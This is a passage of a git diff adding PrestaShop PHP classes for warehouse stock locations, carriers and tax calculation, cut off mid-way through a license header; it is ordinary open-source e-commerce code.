Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + + if (!is_array($res)) + return $ids_carrier; + + foreach ($res as $carriers) + foreach ($carriers as $carrier) + $ids_carrier[] = $carrier; + + return $ids_carrier; + } + + /** + * Sets the carriers associated to the current warehouse + * + * @param array $ids_carriers + */ + public function setCarriers($ids_carriers) + { + if (!is_array($ids_carriers)) + $ids_carriers = array(); + + $row_to_insert = array(); + foreach ($ids_carriers as $id_carrier) + $row_to_insert[] = array($this->def['primary'] => $this->id, 'id_carrier' => (int)$id_carrier); + + Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'warehouse_carrier + WHERE '.$this->def['primary'].' = '.(int)$this->id); + + if ($row_to_insert) + Db::getInstance()->insert('warehouse_carrier', $row_to_insert); + } + + /** + * For a given carrier, removes it from the warehouse/carrier association + * If $id_warehouse is set, it only removes the carrier for this warehouse + * + * @param int $id_carrier Id of the carrier to remove + * @param int $id_warehouse optional Id of the warehouse to filter + */ + public static function removeCarrier($id_carrier, $id_warehouse = null) + { + Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'warehouse_carrier + WHERE id_carrier = '.(int)$id_carrier. + ($id_warehouse ? ' AND id_warehouse = '.(int)$id_warehouse : '')); + } + + /** + * Checks if a warehouse is empty - i.e. has no stock + * + * @return bool + */ + public function isEmpty() + { + $query = new DbQuery(); + $query->select('SUM(s.physical_quantity)'); + $query->from('stock', 's'); + $query->where($this->def['primary'].' = '.(int)$this->id); + return (Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query) == 0); + } + + /** + * Checks if the given warehouse exists + * + * @param int $id_warehouse + * @return bool Exists/Does not exist + */ + public static function exists($id_warehouse) + { + $query = new DbQuery(); + $query->select('id_warehouse'); + $query->from('warehouse'); + $query->where('id_warehouse = '.(int)$id_warehouse); + $query->where('deleted = 0'); + return (Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query)); + } + + /** + * For a given {product, product attribute} sets its location in the given warehouse + * First, for the given parameters, it cleans the database before updating + * + * @param int $id_product ID of the product + * @param int $id_product_attribute Use 0 if this product does not have attributes + * @param int $id_warehouse ID of the warehouse + * @param string $location Describes the location (no lang id required) + * @return bool Success/Failure + */ + public static function setProductLocation($id_product, $id_product_attribute, $id_warehouse, $location) + { + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'warehouse_product_location` + WHERE `id_product` = '.(int)$id_product.' + AND `id_product_attribute` = '.(int)$id_product_attribute.' + AND `id_warehouse` = '.(int)$id_warehouse); + + $row_to_insert = array( + 'id_product' => (int)$id_product, + 'id_product_attribute' => (int)$id_product_attribute, + 'id_warehouse' => (int)$id_warehouse, + 'location' => pSQL($location), + ); + + return Db::getInstance()->insert('warehouse_product_location', $row_to_insert); + } + + /** + * Resets all product locations for this warehouse + */ + public function resetProductsLocations() + { + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'warehouse_product_location` + WHERE `id_warehouse` = '.(int)$this->id); + } + + /** + * For a given {product, product attribute} gets its location in the given warehouse + * + * @param int $id_product ID of the product + * @param int $id_product_attribute Use 0 if this product does not have attributes + * @param int $id_warehouse ID of the warehouse + * @return string Location of the product + */ + public static function getProductLocation($id_product, $id_product_attribute, $id_warehouse) + { + $query = new DbQuery(); + $query->select('location'); + $query->from('warehouse_product_location'); + $query->where('id_warehouse = '.(int)$id_warehouse); + $query->where('id_product = '.(int)$id_product); + $query->where('id_product_attribute = '.(int)$id_product_attribute); + + return (Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query)); + } + + /** + * For a given {product, product attribute} gets warehouse list + * + * @param int $id_product ID of the product + * @param int $id_product_attribute Optional, uses 0 if this product does not have attributes + * @param int $id_shop Optional, ID of the shop. Uses the context shop id (@see Context::shop) + * @return array Warehouses (ID, reference/name concatenated) + */ + public static function getProductWarehouseList($id_product, $id_product_attribute = 0, $id_shop = null) + { + + // if it's a pack, returns warehouses if and only if some products use the advanced stock management + if (Pack::isPack($id_product)) + { + $warehouses = Warehouse::getPackWarehouses($id_product); + $res = array(); + foreach ($warehouses as $warehouse) + $res[]['id_warehouse'] = $warehouse; + return $res; + } + $share_stock = false; + if ($id_shop === null) + { + if (Shop::getContext() == Shop::CONTEXT_GROUP) + $shop_group = Shop::getContextShopGroup(); + else + { + $shop_group = Context::getContext()->shop->getGroup(); + $id_shop = (int)Context::getContext()->shop->id; + } + $share_stock = $shop_group->share_stock; + } + else + { + $shop_group = Shop::getGroupFromShop($id_shop); + $share_stock = $shop_group['share_stock']; + } + + if ($share_stock) + $ids_shop = Shop::getShops(true, (int)$shop_group->id, true); + else + $ids_shop = array((int)$id_shop); + + $query = new DbQuery(); + $query->select('wpl.id_warehouse, CONCAT(w.reference, " - ", w.name) as name'); + $query->from('warehouse_product_location', 'wpl'); + $query->innerJoin('warehouse_shop', 'ws', 'ws.id_warehouse = wpl.id_warehouse AND id_shop IN ('.implode(',', array_map('intval', $ids_shop)).')'); + $query->innerJoin('warehouse', 'w', 'ws.id_warehouse = w.id_warehouse'); + $query->where('id_product = '.(int)$id_product); + $query->where('id_product_attribute = '.(int)$id_product_attribute); + $query->where('w.deleted = 0'); + $query->groupBy('wpl.id_warehouse'); + + return (Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query)); + } + + /** + * Gets available warehouses + * It is possible via ignore_shop and id_shop to filter the list with shop id + * + * @param bool $ignore_shop Optional, false by default - Allows to get only the warehouses that are associated to one/some shops (@see $id_shop) + * @param int $id_shop Optional, Context::shop::Id by default - Allows to define a specific shop to filter. + * @return array Warehouses (ID, reference/name concatenated) + */ + public static function getWarehouses($ignore_shop = false, $id_shop = null) + { + if (!$ignore_shop) + if (is_null($id_shop)) + $id_shop = Context::getContext()->shop->id; + + $query = new DbQuery(); + $query->select('w.id_warehouse, CONCAT(reference, \' - \', name) as name'); + $query->from('warehouse', 'w'); + $query->where('deleted = 0'); + $query->orderBy('reference ASC'); + if (!$ignore_shop) + $query->innerJoin('warehouse_shop', 'ws', 'ws.id_warehouse = w.id_warehouse AND ws.id_shop = '.(int)$id_shop); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + } + + /** + * Gets warehouses grouped by shops + * + * @return array (of array) Warehouses ID are grouped by shops ID + */ + public static function getWarehousesGroupedByShops() + { + $ids_warehouse = array(); + $query = new DbQuery(); + $query->select('id_warehouse, id_shop'); + $query->from('warehouse_shop'); + $query->orderBy('id_shop'); + + // queries to get warehouse ids grouped by shops + foreach (Db::getInstance()->executeS($query) as $row) + $ids_warehouse[$row['id_shop']][] = $row['id_warehouse']; + + return $ids_warehouse; + } + + /** + * Gets the number of products in the current warehouse + * + * @return int Number of different id_stock + */ + public function getNumberOfProducts() + { + $query = ' + SELECT COUNT(t.id_stock) + FROM + ( + SELECT s.id_stock + FROM '._DB_PREFIX_.'stock s + WHERE s.id_warehouse = '.(int)$this->id.' + GROUP BY s.id_product, s.id_product_attribute + ) as t'; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } + + /** + * Gets the number of quantities - for all products - in the current warehouse + * + * @return int Total Quantity + */ + public function getQuantitiesOfProducts() + { + $query = ' + SELECT SUM(s.physical_quantity) + FROM '._DB_PREFIX_.'stock s + WHERE s.id_warehouse = '.(int)$this->id; + + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + + return ($res ? $res : 0); + } + + /** + * Gets the value of the stock in the current warehouse + * + * @return int Value of the stock + */ + public function getStockValue() + { + $query = new DbQuery(); + $query->select('SUM(s.`price_te` * s.`physical_quantity`)'); + $query->from('stock', 's'); + $query->where('s.`id_warehouse` = '.(int)$this->id); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } + + /** + * For a given employee, gets the warehouse(s) he/she manages + * + * @param int $id_employee Manager ID + * @return array ids_warehouse Ids of the warehouses + */ + public static function getWarehousesByEmployee($id_employee) + { + $query = new DbQuery(); + $query->select('w.id_warehouse'); + $query->from('warehouse', 'w'); + $query->where('w.id_employee = '.(int)$id_employee); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + } + + /** + * For a given product, returns the warehouses it is stored in + * + * @param int $id_product Product Id + * @param int $id_product_attribute Optional, Product Attribute Id - 0 by default (no attribues) + * @return array Warehouses Ids and names + */ + public static function getWarehousesByProductId($id_product, $id_product_attribute = 0) + { + if (!$id_product && !$id_product_attribute) + return array(); + + $query = new DbQuery(); + $query->select('DISTINCT w.id_warehouse, CONCAT(w.reference, " - ", w.name) as name'); + $query->from('warehouse', 'w'); + $query->leftJoin('stock', 's', 's.id_warehouse = w.id_warehouse'); + if ($id_product) + $query->where('s.id_product = '.(int)$id_product); + if ($id_product_attribute) + $query->where('s.id_product_attribute = '.(int)$id_product_attribute); + $query->orderBy('w.reference ASC'); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + } + + /** + * For a given $id_warehouse, returns its name + * + * @param int $id_warehouse Warehouse Id + * @return string Name + */ + public static function getWarehouseNameById($id_warehouse) + { + $query = new DbQuery(); + $query->select('name'); + $query->from('warehouse'); + $query->where('id_warehouse = '.(int)$id_warehouse); + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } + + /** + * For a given pack, returns the warehouse it can be shipped from + * + * @param int $id_product + * @return int|bool id_warehouse or false + */ + public static function getPackWarehouses($id_product, $id_shop = null) + { + if (!Pack::isPack($id_product)) + return false; + + if (is_null($id_shop)) + $id_shop = Context::getContext()->shop->id; + + // warehouses of the pack + $pack_warehouses = WarehouseProductLocation::getCollection((int)$id_product); + // products in the pack + $products = Pack::getItems((int)$id_product, Configuration::get('PS_LANG_DEFAULT')); + + // array with all warehouses id to check + $list = array(); + + // fills $list + foreach ($pack_warehouses as $pack_warehouse) + $list['pack_warehouses'][] = (int)$pack_warehouse->id_warehouse; + + // for each products in the pack + foreach ($products as $product) + { + if ($product->advanced_stock_management) + { + // gets the warehouses of one product + $product_warehouses = Warehouse::getProductWarehouseList((int)$product->id, 0, (int)$id_shop); + $list[(int)$product->id] = array(); + // fills array with warehouses for this product + foreach ($product_warehouses as $product_warehouse) + $list[(int)$product->id][] = $product_warehouse['id_warehouse']; + } + } + + $res = false; + // returns final list + if (count($list) > 1) + $res = call_user_func_array('array_intersect', $list); + return $res; + } + + public function resetStockAvailable() + { + $products = WarehouseProductLocation::getProducts((int)$this->id); + foreach ($products as $product) + StockAvailable::synchronize((int)$product['id_product']); + } + + /*********************************\ + * + * Webservices Specific Methods + * + *********************************/ + + /** + * Webservice : gets the value of the warehouse + * @return int + */ + public function getWsStockValue() + { + return $this->getStockValue(); + } + + /** + * Webservice : gets the ids stock associated to this warehouse + * @return array + */ + public function getWsStocks() + { + $query = new DbQuery(); + $query->select('s.id_stock as id'); + $query->from('stock', 's'); + $query->where('s.id_warehouse ='.(int)$this->id); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + } + + /** + * Webservice : gets the ids shops associated to this warehouse + * @return array + */ + public function getWsShops() + { + $query = new DbQuery(); + $query->select('ws.id_shop as id, s.name'); + $query->from('warehouse_shop', 'ws'); + $query->leftJoin('shop', 's', 's.id_shop = ws.id_shop'); + $query->where($this->def['primary'].' = '.(int)$this->id); + + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + return $res; + } + + /** + * Webservice : gets the ids carriers associated to this warehouse + * @return array + */ + public function getWsCarriers() + { + $ids_carrier = array(); + + $query = new DbQuery(); + $query->select('wc.id_carrier as id'); + $query->from('warehouse_carrier', 'wc'); + $query->where($this->def['primary'].' = '.(int)$this->id); + + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + + if (!is_array($res)) + return $ids_carrier; + + foreach ($res as $carriers) + foreach ($carriers as $carrier) + $ids_carrier[] = $carrier; + + return $ids_carrier; + } + +} diff --git a/classes/stock/WarehouseProductLocation.php b/classes/stock/WarehouseProductLocation.php new file mode 100755 index 0000000..e227520 --- /dev/null +++ b/classes/stock/WarehouseProductLocation.php @@ -0,0 +1,139 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +/** + * @since 1.5.0 + */ +class WarehouseProductLocationCore extends ObjectModel +{ + /** + * @var int product ID + * */ + public $id_product; + + /** + * @var int product attribute ID + * */ + public $id_product_attribute; + + /** + * @var int warehouse ID + * */ + public $id_warehouse; + + /** + * @var string location of the product + * */ + public $location; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'warehouse_product_location', + 'primary' => 'id_warehouse_product_location', + 'fields' => array( + 'location' => array('type' => self::TYPE_STRING, 'validate' => 'isReference', 'size' => 64), + 'id_product' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_product_attribute' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_warehouse' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + ), + ); + + /** + * @see ObjectModel::$webserviceParameters + */ + protected $webserviceParameters = array( + 'fields' => array( + 'id_product' => array('xlink_resource' => 'products'), + 'id_product_attribute' => array('xlink_resource' => 'combinations'), + 'id_warehouse' => array('xlink_resource' => 'warehouses'), + ), + 'hidden_fields' => array( + ), + ); + + /** + * For a given product and warehouse, gets the location + * + * @param int $id_product product ID + * @param int $id_product_attribute product attribute ID + * @param int $id_warehouse warehouse ID + * @return string $location Location of the product + */ + public static function getProductLocation($id_product, $id_product_attribute, $id_warehouse) + { + // build query + $query = new DbQuery(); + $query->select('wpl.location'); + $query->from('warehouse_product_location', 'wpl'); + $query->where('wpl.id_product = '.(int)$id_product.' + AND wpl.id_product_attribute = '.(int)$id_product_attribute.' + AND wpl.id_warehouse = '.(int)$id_warehouse + ); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } + + /** + * For a given product and warehouse, gets the WarehouseProductLocation corresponding ID + * + * @param int $id_product + * @param int $id_product_attribute + * @param int $id_supplier + * @return int $id_warehouse_product_location ID of the WarehouseProductLocation + */ + public static function getIdByProductAndWarehouse($id_product, $id_product_attribute, $id_warehouse) + { + // build query + $query = new DbQuery(); + $query->select('wpl.id_warehouse_product_location'); + $query->from('warehouse_product_location', 'wpl'); + $query->where('wpl.id_product = '.(int)$id_product.' + AND wpl.id_product_attribute = '.(int)$id_product_attribute.' + AND wpl.id_warehouse = '.(int)$id_warehouse + ); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } + + /** + * For a given product, gets its warehouses + * + * @param int $id_product + * @return Collection The type of the collection is WarehouseProductLocation + */ + public static function getCollection($id_product) + { + $collection = new Collection('WarehouseProductLocation'); + $collection->where('id_product', '=', (int)$id_product); + return $collection; + } + + public static function getProducts($id_warehouse) + { + return Db::getInstance()->executeS('SELECT DISTINCT id_product FROM '._DB_PREFIX_.'warehouse_product_location WHERE id_warehouse='.(int)$id_warehouse); + } +} \ No newline at end of file diff --git a/classes/stock/index.php b/classes/stock/index.php new file mode 100755 index 0000000..c1c95ce --- /dev/null +++ b/classes/stock/index.php @@ -0,0 +1,35 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/classes/tax/Tax.php b/classes/tax/Tax.php new file mode 100755 index 0000000..65a1515 --- /dev/null +++ b/classes/tax/Tax.php @@ -0,0 +1,266 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + + +class TaxCore extends ObjectModel +{ + /** @var string Name */ + public $name; + + /** @var float Rate (%) */ + public $rate; + + /** @var bool active state */ + public $active; + + /** @var boolean true if the tax has been historized */ + public $deleted = 0; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'tax', + 'primary' => 'id_tax', + 'multilang' => true, + 'fields' => array( + 'rate' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat', 'required' => true), + 'active' => array('type' => self::TYPE_BOOL), + 'deleted' => array('type' => self::TYPE_BOOL), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 32), + ), + ); + + + protected static $_product_country_tax = array(); + protected static $_product_tax_via_rules = array(); + + protected $webserviceParameters = array( + 'objectsNodeName' => 'taxes', + ); + + public function delete() + { + /* Clean associations */ + TaxRule::deleteTaxRuleByIdTax((int)$this->id); + + if ($this->isUsed()) + return $this->historize(); + else + return parent::delete(); + } + + /** + * Save the object with the field deleted to true + * + * @return bool + */ + public function historize() + { + $this->deleted = true; + return parent::update(); + } + + public function toggleStatus() + { + if (parent::toggleStatus()) + return $this->_onStatusChange(); + + return false; + } + + public function update($nullValues = false) + { + if (!$this->deleted && $this->isUsed()) + { + $historized_tax = new Tax($this->id); + $historized_tax->historize(); + + // remove the id in order to create a new object + $this->id = 0; + $this->add(); + + // change tax id in the tax rule table + TaxRule::swapTaxId($historized_tax->id, $this->id); + } else if (parent::update($nullValues)) + return $this->_onStatusChange(); + + return false; + } + + protected function _onStatusChange() + { + if (!$this->active) + return TaxRule::deleteTaxRuleByIdTax($this->id); + + return true; + } + + /** + * Returns true if the tax is used in an order details + * + * @return bool + */ + public function isUsed() + { + return Db::getInstance()->getValue(' + SELECT `id_tax` + FROM `'._DB_PREFIX_.'order_detail_tax` + WHERE `id_tax` = '.(int)$this->id + ); + } + + /** + * Get all available taxes + * + * @return array Taxes + */ + public static function getTaxes($id_lang = false, $active_only = true) + { + $sql = new DbQuery(); + $sql->select('t.id_tax, t.rate'); + $sql->from('tax', 't'); + $sql->where('t.`deleted` != 1'); + + if ($id_lang) + { + $sql->select('tl.name, tl.id_lang'); + $sql->leftJoin('tax_lang', 'tl', 't.`id_tax` = tl.`id_tax` AND tl.`id_lang` = '.(int)$id_lang); + $sql->orderBy('`name` ASC'); + } + + if ($active_only) + $sql->where('t.`active` = 1'); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + public static function excludeTaxeOption() + { + static $ps_tax = null; + if ($ps_tax === null) + $ps_tax = Configuration::get('PS_TAX'); + + return !$ps_tax; + } + + /** + * Return the tax id associated to the specified name + * + * @param string $tax_name + * @param boolean $active (true by default) + */ + public static function getTaxIdByName($tax_name, $active = 1) + { + $tax = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT t.`id_tax` + FROM `'._DB_PREFIX_.'tax` t + LEFT JOIN `'._DB_PREFIX_.'tax_lang` tl ON (tl.id_tax = t.id_tax) + WHERE tl.`name` = \''.pSQL($tax_name).'\' '. + ($active == 1 ? ' AND t.`active` = 1' : '')); + + return $tax ? (int)($tax['id_tax']) : false; + } + + /** + * Returns the ecotax tax rate + * + * @param id_address + * @return float $tax_rate + */ + public static function getProductEcotaxRate($id_address = null) + { + $address = Address::initialize($id_address); + + $tax_manager = TaxManagerFactory::getManager($address, (int)Configuration::get('PS_ECOTAX_TAX_RULES_GROUP_ID')); + $tax_calculator = $tax_manager->getTaxCalculator(); + + return $tax_calculator->getTotalRate(); + } + + /** + * Returns the carrier tax rate + * + * @param id_address + * @return float $tax_rate + */ + public static function getCarrierTaxRate($id_carrier, $id_address = null) + { + $address = Address::initialize($id_address); + $id_tax_rules = (int)Carrier::getIdTaxRulesGroupByIdCarrier((int)$id_carrier); + + $tax_manager = TaxManagerFactory::getManager($address, $id_tax_rules); + $tax_calculator = $tax_manager->getTaxCalculator(); + + return $tax_calculator->getTotalRate(); + } + + /** + * Return the product tax rate using the tax rules system + * + * @param integer $id_product + * @param integer $id_country + * @return Tax + * + * @deprecated since 1.5 + */ + public static function getProductTaxRateViaRules($id_product, $id_country, $id_state, $zipcode) + { + Tools::displayAsDeprecated(); + + if (!isset(self::$_product_tax_via_rules[$id_product.'-'.$id_country.'-'.$id_state.'-'.$zipcode])) + { + $tax_rate = TaxRulesGroup::getTaxesRate((int)Product::getIdTaxRulesGroupByIdProduct((int)$id_product), (int)$id_country, (int)$id_state, $zipcode); + self::$_product_tax_via_rules[$id_product.'-'.$id_country.'-'.$zipcode] = $tax_rate; + } + + return self::$_product_tax_via_rules[$id_product.'-'.$id_country.'-'.$zipcode]; + } + + /** + * Returns the product tax + * + * @param integer $id_product + * @param integer $id_country + * @return Tax + */ + public static function getProductTaxRate($id_product, $id_address = null, Context $context = null) + { + if ($context == null) + $context = Context::getContext(); + + $address = Address::initialize($id_address); + $id_tax_rules = (int)Product::getIdTaxRulesGroupByIdProduct($id_product, $context); + + $tax_manager = TaxManagerFactory::getManager($address, $id_tax_rules); + $tax_calculator = $tax_manager->getTaxCalculator(); + + return $tax_calculator->getTotalRate(); + } +} + diff --git a/classes/tax/TaxCalculator.php b/classes/tax/TaxCalculator.php new file mode 100755 index 0000000..7064f27 --- /dev/null +++ b/classes/tax/TaxCalculator.php @@ -0,0 +1,154 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + * + * TaxCaculator is responsible of the tax computation + */ +class TaxCalculatorCore +{ + /** + * COMBINE_METHOD sum taxes + * eg: 100€ * (10% + 15%) + */ + const COMBINE_METHOD = 1; + + /** + * ONE_AFTER_ANOTHER_METHOD apply taxes one after another + * eg: (100€ * 10%) * 15% + */ + const ONE_AFTER_ANOTHER_METHOD = 2; + + /** + * @var array $taxes + */ + public $taxes; + + /** + * @var int $computation_method (COMBINE_METHOD | ONE_AFTER_ANOTHER_METHOD) + */ + public $computation_method; + + + /** + * @param array $taxes + * @param int $computation_method (COMBINE_METHOD | ONE_AFTER_ANOTHER_METHOD) + */ + public function __construct(array $taxes = array(), $computation_method = TaxCalculator::COMBINE_METHOD) + { + // sanity check + foreach ($taxes as $tax) + if (!($tax instanceof Tax)) + throw new Exception('Invalid Tax Object'); + + $this->taxes = $taxes; + $this->computation_method = (int)$computation_method; + } + + /** + * Compute and add the taxes to the specified price + * + * @param price_te price tax excluded + * @return float price with taxes + */ + public function addTaxes($price_te) + { + return $price_te * (1 + ($this->getTotalRate() / 100)); + } + + + /** + * Compute and remove the taxes to the specified price + * + * @param price_ti price tax inclusive + * @return price without taxes + */ + public function removeTaxes($price_ti) + { + return $price_ti / (1 + $this->getTotalRate() / 100); + } + + /** + * @return float total taxes rate + */ + public function getTotalRate() + { + $taxes = 0; + if ($this->computation_method == TaxCalculator::ONE_AFTER_ANOTHER_METHOD) + { + $taxes = 1; + foreach ($this->taxes as $tax) + $taxes *= (1 + (abs($tax->rate) / 100)); + + $taxes = $taxes - 1; + $taxes = $taxes * 100; + } + else + { + foreach ($this->taxes as $tax) + $taxes += abs($tax->rate); + } + + return (float)$taxes; + } + + public function getTaxesName() + { + $name = ''; + foreach ($this->taxes as $tax) + $name .= $tax->name[(int)Context::getContext()->language->id].' - '; + + $name = rtrim($name, ' - '); + + return $name; + } + + /** + * Return the tax amount associated to each taxes of the TaxCalculator + * + * @param float $price_te + * @return array $taxes_amount + */ + public function getTaxesAmount($price_te) + { + $taxes_amounts = array(); + + foreach ($this->taxes as $tax) + { + if ($this->computation_method == TaxCalculator::ONE_AFTER_ANOTHER_METHOD) + { + $taxes_amounts[$tax->id] = $price_te * (abs($tax->rate) / 100); + $price_te = $price_te + $taxes_amounts[$tax->id]; + } + else + $taxes_amounts[$tax->id] = ($price_te * (abs($tax->rate) / 100)); + } + + return $taxes_amounts; + } +} + diff --git a/classes/tax/TaxManagerFactory.php b/classes/tax/TaxManagerFactory.php new file mode 100755 index 0000000..fb765dc --- /dev/null +++ b/classes/tax/TaxManagerFactory.php @@ -0,0 +1,102 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** +* @since 1.5 +*/ +class TaxManagerFactoryCore +{ + protected static $cache_tax_manager; + + /** + * Returns a tax manager able to handle this address + * + * @param Address $address + * @param string $type + * + * @return TaxManager + */ + public static function getManager(Address $address, $type) + { + $cache_id = TaxManagerFactory::getCacheKey($address).'-'.$type; + if (!isset(TaxManagerFactory::$cache_tax_manager[$cache_id])) + { + $tax_manager = TaxManagerFactory::execHookTaxManagerFactory($address, $type); + if (!($tax_manager instanceof TaxManagerInterface)) + $tax_manager = new TaxRulesTaxManager($address, $type); + + TaxManagerFactory::$cache_tax_manager[$cache_id] = $tax_manager; + } + + return TaxManagerFactory::$cache_tax_manager[$cache_id]; + } + + /** + * Check for a tax manager able to handle this type of address in the module list + * + * @param Address $address + * @param string $type + * + * @return TaxManager + */ + public static function execHookTaxManagerFactory(Address $address, $type) + { + $modules_infos = Hook::getModulesFromHook(Hook::getIdByName('taxManager')); + $tax_manager = false; + + foreach ($modules_infos as $module_infos) + { + $module_instance = Module::getInstanceByName($module_infos['name']); + if (is_callable(array($module_instance, 'hookTaxManager'))) + { + $tax_manager = $module_instance->hookTaxManager(array( + 'address' => $address, + 'params' => $type + )); + } + + if ($tax_manager) + break; + } + + return $tax_manager; + } + + + /** + * Create a unique identifier for the address + * @param Address + */ + protected static function getCacheKey(Address $address) + { + return $address->id_country.'-' + .(int)$address->id_state.'-' + .$address->postcode.'-' + .$address->vat_number.'-' + .$address->dni; + } +} + diff --git a/classes/tax/TaxManagerInterface.php b/classes/tax/TaxManagerInterface.php new file mode 100755 index 0000000..2caf62e --- /dev/null +++ b/classes/tax/TaxManagerInterface.php @@ -0,0 +1,50 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license 